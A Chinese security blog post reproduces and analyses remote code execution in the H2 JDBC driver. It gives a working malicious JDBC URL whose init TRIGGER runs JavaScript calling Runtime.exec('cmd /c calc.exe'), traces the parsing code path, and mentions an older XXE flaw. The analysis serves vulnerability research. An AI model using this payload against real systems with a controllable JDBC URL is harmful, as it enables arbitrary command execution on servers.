前言 No!
环境搭建 IDEA新开个项目,直接从maven仓库里面复制配置过来安装h2依赖:
1 2 3 4 5 6 7 <dependency > <groupId > com.h2database</groupId > <artifactId > h2</artifactId > <version > 2.0.204</version > <scope > test</scope > </dependency >
然后写个简单的代码先测试一下:
1 2 3 4 5 6 7 8 9 String DRIVER_CLASS = "org.h2.Driver" ;String JDBC_URL = "" ;Properties info = null ;try { Class.forName(DRIVER_CLASS); Connection conn = DriverManager.getDriver(DRIVER_CLASS).connect(JDBC_URL, info); }catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); }
发现:
1 java.lang .ClassNotFoundException : org.h2 .Driver
回头看发现maven中配置的h2作用域为test,把这一行删掉再来:
1 java.sql .SQLException: No suitable driver
跟一下调用栈,问题出在h2驱动类org.h2.Driver的acceptsURL函数:
1 2 3 4 5 else if (var1.startsWith("jdbc:h2:" )) { return true ; } else if (var1.equals("jdbc:default:connection" )) { return DEFAULT_CONNECTION.get() != null ; }
简单来说就是DRIVER_CLASS不符合格式,再改改代码里面的DRIVER_CLASS,反正只是用来选择驱动不涉及后面的操作,直接用参考文章中的攻击代码试试:
1 2 3 4 5 6 7 8 9 10 11 12 String DRIVER_CLASS = "org.h2.Driver" ;String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" + "$$\n" ;;Properties info = null ;try { Class.forName(DRIVER_CLASS); DriverManager.getDriver(JDBC_URL).connect(JDBC_URL, info); }catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); }
结果:
攻击流程分析 很明显问题出在connect函数中,估计是因为执行查询时可以使用一些能直接执行代码的特殊语法:
1 2 3 4 5 6 7 8 9 public Connection connect (String var1, Properties var2) throws SQLException { if (var1 == null ) { ... } else if (var1.startsWith("jdbc:h2:" )) { return new JdbcConnection (var1, var2, (String)null , (Object)null ); } else { return var1.equals("jdbc:default:connection" ) ? (Connection)DEFAULT_CONNECTION.get() : null ; } }
实例化了一个JdbcConnection对象,后面会解析SQL命令,遇到create命令时:
1 2 3 4 5 case 'C' :if (readIf("COMMIT" )) { c = parseCommit(); } else if (readIf("CREATE" )) { c = parseCreate();
会调用parseCreate函数:
1 2 3 else if (readIf("TRIGGER" )) { return parseCreateTrigger(force); }
又遇到关键词TRIGGER时会调用parseCreateTrigger函数,在解析完TRIGGER相关的triggerName、触发时间点、操作类型、SchemaName、tableName等数据后,当存在as关键词时会开始解析TriggerSource:
1 2 3 if (readIf(AS)) { command.setTriggerSource(readString()); }
回头看看攻击所用的TRIGGER的语句,简单来说就是在对INFORMATION_SCHEMA.TABLES这张表进行select操作之前就会触发这个TriggerSource操作,即:
1 //javascript java.lang.Runtime.getRuntime().exec ('cmd /c calc.exe' )
然后更新该Trigger,跟踪执行流程,会发现此时h2驱动会执行TriggerSource,然后从中取出一个Trigger对象作为triggerCallback,在后面触发操作时使用。一步步跟到TriggerObject类的loadFromSource函数中:
1 2 3 4 5 6 7 8 9 10 11 try { if (SourceCompiler.isJavaxScriptSource(triggerSource)) { return (Trigger) compiler.getCompiledScript(fullClassName).eval(); } else { final Method m = compiler.getMethod(fullClassName); if (m.getParameterTypes().length > 0 ) { throw new IllegalStateException ("No parameters are allowed for a trigger" ); } return (Trigger) m.invoke(null ); } }
首先调用isJavaxScriptSource函数判断代码类型:
1 2 3 4 5 6 7 public static boolean isJavaxScriptSource (String source) { return isJavascriptSource(source) || isRubySource(source); }private static boolean isJavascriptSource (String source) { return source.startsWith("//javascript" ); }
即将//javascript开头的当作JavaScript代码,然后获取对应的编译器编译执行。
总结 总结起来就是,在JDBC驱动和连接所用URL可控的情况下发起连接会导致RCE。
后记 在maven仓库搜索h2包时,看到了有趣的东西:
1.4.200及之前版本的h2中存在一个XXE漏洞,其描述如下:
1 The package com.h2database:h2 from 0 and before 2.0 .202 are vulnerable to XML External Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class object, when it receives parsed string data from org.h2.jdbc.JdbcResultSet.getSQLXML() method . If it executes the getSource() method when the parameter is DOMSource .class it will trigger the vulnerability .
懒得复现了,就这样留个坑吧。
参考文章 https://xz.aliyun.com/t/10656
https://www.cnblogs.com/liuqiyun/p/8603088.html